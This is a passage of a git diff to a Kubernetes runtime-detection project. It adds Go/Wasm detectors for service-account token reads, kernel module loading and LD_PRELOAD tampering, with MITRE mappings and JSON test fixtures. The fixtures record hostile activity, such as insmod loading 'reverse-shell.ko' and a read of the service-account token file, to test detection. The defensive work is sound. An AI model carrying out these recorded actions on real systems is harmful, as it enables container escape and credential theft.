"CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_SYS_CHROOT", + "CAP_SYS_ADMIN", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534057, + "is_host": false + }, + "ipc": { + "inum": 4026534058, + "is_host": false + }, + "mnt": { + "inum": 4026535084, + "is_host": false + }, + "pid": { + "inum": 4026535085, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535085, + "is_host": false + }, + "net": { + "inum": 4026534059, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535086, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 2482750, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjI5NDI3MTQxMDQ5ODA2ODg6MjQ4MjUzNg==", + "pid": 2482536, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-03-18T12:39:00.898431349Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-cap", + "container": { + "id": "cri-o://635bb04d5b6d67585f78358b6d54d0373576ed0e0e24cf02c21c86a88549b903", + "name": "test-pod-debian-cap", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-03-06T11:01:56Z", + "pid": 3653, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-cap", + "workload_kind": "Pod" + }, + "docker": "635bb04d5b6d67585f78358b6d54d03", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjI5NDI3MTQxMDI3NDQ4NDg6MjQ4MjUzNg==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_SYS_CHROOT", + "CAP_SYS_ADMIN", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_SYS_CHROOT", + "CAP_SYS_ADMIN", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534057, + "is_host": false + }, + "ipc": { + "inum": 4026534058, + "is_host": false + }, + "mnt": { + "inum": 4026535084, + "is_host": false + }, + "pid": { + "inum": 4026535085, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535085, + "is_host": false + }, + "net": { + "inum": 4026534059, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535086, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 2482536, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "function_name": "security_file_permission", + "args": [ + { + "file_arg": { + "mount": "", + "path": "/run/secrets/kubernetes.io/serviceaccount/..2024_03_18_12_27_42.2985670933/token", + "flags": "" + }, + "label": "" + }, + { + "int_arg": 4, + "label": "" + } + ], + "return": { + "int_arg": 0, + "label": "" + }, + "action": "KPROBE_ACTION_POST", + "policy_name": "pt-cs-file-monitoring" + }, + "node_name": "test-k8s-cluster", + "time": "2024-03-18T12:39:20.259331822Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_K8S_SA_TOKEN_READ", + "severity": "HIGH", + "reason_contains": "Kubernetes token", + "tactics": [ + "TA0001", + "TA0003", + "TA0004", + "TA0005", + "TA0006", + "TA0008" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_KERNEL_MODULE/main.go b/event-processor/detector/wasm/CS_RT_KERNEL_MODULE/main.go index 521820fc..f258eed6 100644 --- a/event-processor/detector/wasm/CS_RT_KERNEL_MODULE/main.go +++ b/event-processor/detector/wasm/CS_RT_KERNEL_MODULE/main.go @@ -4,6 +4,7 @@ package main import ( "context" + "fmt" "github.com/runtime-radar/runtime-radar/event-processor/detector/api" "github.com/runtime-radar/runtime-radar/event-processor/detector/api/tetragon" @@ -11,12 +12,16 @@ import ( const ( ID = "CS_RT_KERNEL_MODULE" - Name = "Kernel module loading" - Description = "The detector detects loading of kernel modules that may contain malicious code used to attack the target system." + Name = "Kernel module uploading" + Description = "The detector detects uploading of kernel modules that may contain malicious code to attack the target system." Version = 1 Author = "Runtime Radar Team" + License = "Apache License 2.0" +) - License = "Apache License 2.0" +const ( + KprobeNoArgs = "Detected that the kernel module `%s` was uploaded by the `%s` process" + KprobeDefault = "Detected that the kernel module `%s` was uploaded by the `%s` process, which was started using the `%s` arguments" ) var ( @@ -37,8 +42,31 @@ var ( } ) -// main is required for TinyGo to compile to Wasm. -func main() { +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0003", + Techniques: []string{ + "T1547.006", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1547.006", + }, + }, + { + Id: "TA0005", + Techniques: []string{ + "T1562.001", + }, + }, + } +) + +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -46,12 +74,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -85,9 +114,19 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() functionName := kprobe.GetFunctionName() + args := kprobe.GetArgs() if functionName == "do_init_module" { + resp.TacticsCovered = mitreTactics + moduleName := args[0].GetModuleArg().GetName() + if binaryArgs == "" { + resp.Reason = fmt.Sprintf(KprobeNoArgs, moduleName, binary) + } else { + resp.Reason = fmt.Sprintf(KprobeDefault, moduleName, binary, binaryArgs) + } resp.Severity = api.DetectResp_HIGH // <-- threat detected return resp, nil @@ -100,269 +139,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDM0NDE5NjUyMTg5NTk6MzI2Nzg0NQ==", - "pid": 3267845, - "uid": 0, - "cwd": "/root/kernel_expl", - "binary": "/usr/sbin/insmod", - "arguments": "reverse-shell.ko", - "flags": "execve clone", - "start_time": "2024-03-24T07:44:28.758670169Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-modload-ubuntu", - "labels": [], - "container": { - "id": "cri-o://7ce6c223e9d5800d8610c1e1d2e0759a822de07bce7ae216b2c6250b4755bf9a", - "name": "test-pod-modload-ubuntu", - "image": { - "id": "docker.io/library/ubuntu@sha256:a4fab1802f08df089c4b2e0a1c8f1a06f573bd1775687d07fef4076d3a2e4900", - "name": "docker.io/library/ubuntu:focal" - }, - "start_time": "2024-03-01T07:58:52Z", - "pid": 5622, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-modload-ubuntu", - "workload_kind": "Pod" - }, - "docker": "7ce6c223e9d5800d8610c1e1d2e0759", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDMyNzMwMzQ0NTk1OTI6MzI2NjEwMQ==", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_SYS_MODULE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_SYS_MODULE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533759, - "is_host": false - }, - "ipc": { - "inum": 4026533760, - "is_host": false - }, - "mnt": { - "inum": 4026534054, - "is_host": false - }, - "pid": { - "inum": 4026534055, - "is_host": false - }, - "pid_for_children": { - "inum": 4026534055, - "is_host": false - }, - "net": { - "inum": 4026533761, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026534056, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3267845, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDMyNzMwMzQ0NTk1OTI6MzI2NjEwMQ==", - "pid": 3266101, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-03-24T07:41:39.827910823Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-modload-ubuntu", - "labels": [], - "container": { - "id": "cri-o://7ce6c223e9d5800d8610c1e1d2e0759a822de07bce7ae216b2c6250b4755bf9a", - "name": "test-pod-modload-ubuntu", - "image": { - "id": "docker.io/library/ubuntu@sha256:a4fab1802f08df089c4b2e0a1c8f1a06f573bd1775687d07fef4076d3a2e4900", - "name": "docker.io/library/ubuntu:focal" - }, - "start_time": "2024-03-01T07:58:52Z", - "pid": 5603, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-modload-ubuntu", - "workload_kind": "Pod" - }, - "docker": "7ce6c223e9d5800d8610c1e1d2e0759", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDMyNzMwMjU0MzI0NTI6MzI2NjEwMQ==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_SYS_MODULE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_SYS_MODULE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533759, - "is_host": false - }, - "ipc": { - "inum": 4026533760, - "is_host": false - }, - "mnt": { - "inum": 4026534054, - "is_host": false - }, - "pid": { - "inum": 4026534055, - "is_host": false - }, - "pid_for_children": { - "inum": 4026534055, - "is_host": false - }, - "net": { - "inum": 4026533761, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026534056, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3266101, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "function_name": "do_init_module", - "args": [ - { - "module_arg": { - "name": "reverse_shell", - "signature_ok": null, - "tainted": [ - "TAINT_OUT_OF_TREE_MODULE", - "TAINT_UNSIGNED_MODULE" - ] - }, - "label": "" - } - ], - "return": { - "int_arg": 0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "stack_trace": [], - "policy_name": "kmod-load-monitoring" - }, - "node_name": "experts-k8s-cs", - "time": "2024-03-24T07:44:28.761391447Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_KERNEL_MODULE/testdata/negative_wrong_func.json b/event-processor/detector/wasm/CS_RT_KERNEL_MODULE/testdata/negative_wrong_func.json new file mode 100644 index 00000000..871a6b1a --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_KERNEL_MODULE/testdata/negative_wrong_func.json @@ -0,0 +1,31 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/sbin/insmod", + "arguments": "/tmp/test.ko" + }, + "function_name": "do_lsm", + "args": [ + { + "module_arg": { + "name": "test_module" + } + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_KERNEL_MODULE/testdata/positive_insmod_module.json b/event-processor/detector/wasm/CS_RT_KERNEL_MODULE/testdata/positive_insmod_module.json new file mode 100644 index 00000000..7d9be564 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_KERNEL_MODULE/testdata/positive_insmod_module.json @@ -0,0 +1,280 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDM0NDE5NjUyMTg5NTk6MzI2Nzg0NQ==", + "pid": 3267845, + "uid": 0, + "cwd": "/root/kernel_expl", + "binary": "/usr/sbin/insmod", + "arguments": "reverse-shell.ko", + "flags": "execve clone", + "start_time": "2024-03-24T07:44:28.758670169Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-modload-ubuntu", + "container": { + "id": "cri-o://7ce6c223e9d5800d8610c1e1d2e0759a822de07bce7ae216b2c6250b4755bf9a", + "name": "test-pod-modload-ubuntu", + "image": { + "id": "docker.io/library/ubuntu@sha256:a4fab1802f08df089c4b2e0a1c8f1a06f573bd1775687d07fef4076d3a2e4900", + "name": "docker.io/library/ubuntu:focal" + }, + "start_time": "2024-03-01T07:58:52Z", + "pid": 5622, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-modload-ubuntu", + "workload_kind": "Pod" + }, + "docker": "7ce6c223e9d5800d8610c1e1d2e0759", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDMyNzMwMzQ0NTk1OTI6MzI2NjEwMQ==", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_SYS_MODULE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_SYS_MODULE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533759, + "is_host": false + }, + "ipc": { + "inum": 4026533760, + "is_host": false + }, + "mnt": { + "inum": 4026534054, + "is_host": false + }, + "pid": { + "inum": 4026534055, + "is_host": false + }, + "pid_for_children": { + "inum": 4026534055, + "is_host": false + }, + "net": { + "inum": 4026533761, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026534056, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 3267845, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDMyNzMwMzQ0NTk1OTI6MzI2NjEwMQ==", + "pid": 3266101, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-03-24T07:41:39.827910823Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-modload-ubuntu", + "container": { + "id": "cri-o://7ce6c223e9d5800d8610c1e1d2e0759a822de07bce7ae216b2c6250b4755bf9a", + "name": "test-pod-modload-ubuntu", + "image": { + "id": "docker.io/library/ubuntu@sha256:a4fab1802f08df089c4b2e0a1c8f1a06f573bd1775687d07fef4076d3a2e4900", + "name": "docker.io/library/ubuntu:focal" + }, + "start_time": "2024-03-01T07:58:52Z", + "pid": 5603, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-modload-ubuntu", + "workload_kind": "Pod" + }, + "docker": "7ce6c223e9d5800d8610c1e1d2e0759", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDMyNzMwMjU0MzI0NTI6MzI2NjEwMQ==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_SYS_MODULE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_SYS_MODULE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533759, + "is_host": false + }, + "ipc": { + "inum": 4026533760, + "is_host": false + }, + "mnt": { + "inum": 4026534054, + "is_host": false + }, + "pid": { + "inum": 4026534055, + "is_host": false + }, + "pid_for_children": { + "inum": 4026534055, + "is_host": false + }, + "net": { + "inum": 4026533761, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026534056, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 3266101, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "function_name": "do_init_module", + "args": [ + { + "module_arg": { + "name": "reverse_shell", + "signature_ok": null, + "tainted": [ + "TAINT_OUT_OF_TREE_MODULE", + "TAINT_UNSIGNED_MODULE" + ] + }, + "label": "" + } + ], + "return": { + "int_arg": 0, + "label": "" + }, + "action": "KPROBE_ACTION_POST", + "policy_name": "pt-cs-kmod-load-monitoring" + }, + "node_name": "test-k8s-cluster", + "time": "2024-03-24T07:44:28.761391447Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_KERNEL_MODULE", + "severity": "HIGH", + "reason_contains": "kernel module", + "tactics": [ + "TA0003", + "TA0004", + "TA0005" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_LD_PRELOAD/main.go b/event-processor/detector/wasm/CS_RT_LD_PRELOAD/main.go index 7b145572..01c3f692 100644 --- a/event-processor/detector/wasm/CS_RT_LD_PRELOAD/main.go +++ b/event-processor/detector/wasm/CS_RT_LD_PRELOAD/main.go @@ -12,22 +12,20 @@ import ( const ( ID = "CS_RT_LD_PRELOAD" - Name = "Code injection via LD_PRELOAD" - Description = "The detector detects if the /etc/ld.so.preload file was edited, which may indicate an attacker’s attempt to inject code using dynamic library preloading." + Name = "Code injection using LD_PRELOAD" + Description = "The detector detects if the /etc/ld.so.preload file was edited, which may indicate an attacker's attempt to inject code using dynamic library preloading." Version = 1 Author = "Runtime Radar Team" - - License = "Apache License 2.0" + License = "Apache License 2.0" ) const ( - // File access permissions - // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/linux/fs.h#L101 - MAY_WRITE = 2 - - // Memory page access permissions - // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/uapi/asm-generic/mman-common.h#L10 - PROT_WRITE = 2 + KprobeWriteNoArgs = "Detected that the `%s` file used for dynamic library preloading was edited by the `%s` process" + KprobeWriteDefault = "Detected that the `%s` file used for dynamic library preloading was edited by the `%s` process, which was started using the `%s` arguments" + KprobeMmapNoArgs = "Detected that the `%s` file used for dynamic library preloading was memory-mapped by the `%s` process" + KprobeMmapDefault = "Detected that the `%s` file used for dynamic library preloading was memory-mapped by the `%s` process, which was started using the `%s` arguments" + KprobeRenameNoArgs = "Detected that the `%s` file used for dynamic library preloading was replaced with the `%s` file by the `%s` process" + KprobeRenameDefault = "Detected that the `%s` file used for dynamic library preloading was replaced with the `%s` file by the `%s` process, which was started using the `%s` arguments" ) var ( @@ -36,7 +34,7 @@ var ( // a particular event type, such as "PROCESS_EXEC", leave slice empty or use // wildcard "*". triggerCriteria = map[string][]string{ - "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate"}, + "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate", "security_path_rename"}, // Examples: // @@ -48,12 +46,46 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0003", + Techniques: []string{ + "T1574.006", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1574.006", + }, + }, + { + Id: "TA0005", + Techniques: []string{ + "T1574.006", + "T1562.001", + }, + }, + } +) + +const ( + // File access permissions + // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/linux/fs.h#L101 + MAY_WRITE = 2 + + // Memory page access permissions + // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/uapi/asm-generic/mman-common.h#L10 + PROT_WRITE = 2 +) + const ( ldPreloadPath = "/etc/ld.so.preload" ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -61,12 +93,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -100,10 +133,13 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() function := kprobe.GetFunctionName() args := kprobe.GetArgs() - - filePath := "" + path := "" + newFile := "" + action := "" switch function { // trigger when security function check for file write access @@ -115,7 +151,8 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } - filePath = args[0].GetFileArg().GetPath() + action = "write" + path = args[0].GetFileArg().GetPath() // trigger when security function check for memory page write access // https://tetragon.io/docs/use-cases/filename-access/ @@ -126,7 +163,8 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } - filePath = args[0].GetFileArg().GetPath() + action = "mmap" + path = args[0].GetFileArg().GetPath() // trigger when security function check if truncating a file is allowed // https://elixir.bootlin.com/linux/v6.10.6/source/security/security.c#L1923 @@ -135,13 +173,40 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return nil, fmt.Errorf("unexpected args len, got %d, want >= 1", len(args)) } - filePath = args[0].GetPathArg().GetPath() + action = "write" + path = args[0].GetPathArg().GetPath() + + // Trigger when security function check if renaming a file is allowed. + // https://elixir.bootlin.com/linux/v6.15.7/source/security/security.c#L2005 + case "security_path_rename": + if len(args) < 2 { + return nil, fmt.Errorf("unexpected args len, got %d, want >= 2", len(args)) + } + + action = "rename" + path = args[1].GetPathArg().GetPath() + newFile = args[0].GetPathArg().GetPath() default: return resp, nil } - if filePath == ldPreloadPath { + if path == ldPreloadPath { + resp.TacticsCovered = mitreTactics + switch { + case (action == "write") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeWriteNoArgs, path, binary) + case (action == "write") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeWriteDefault, path, binary, binaryArgs) + case (action == "mmap") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeMmapNoArgs, path, binary) + case (action == "mmap") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeMmapDefault, path, binary, binaryArgs) + case (action == "rename") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeRenameNoArgs, path, newFile, binary) + case (action == "rename") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeRenameDefault, path, newFile, binary, binaryArgs) + } resp.Severity = api.DetectResp_MEDIUM // <-- threat detected return resp, nil @@ -156,482 +221,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): -{ - "process_kprobe": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjgxMTUyMzExMTI1MzEyNTQ6MTQwOTY0NQ==", - "pid": 1409645, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-08-19T13:26:06.758740802Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-privileged", - "container": { - "id": "cri-o://497809a2cbb0695fbd5383072cfb59e5c3b6905ab1ac336147cccbcf4a2b224e", - "name": "test-pod-debian", - "image": { - "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-05-18T19:36:18Z", - "pid": 5467, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-privileged", - "workload_kind": "Pod" - }, - "docker": "497809a2cbb0695fbd5383072cfb59e", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjgxMTUyMzExMTA1Njc3Njk6MTQwOTY0NQ==", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - 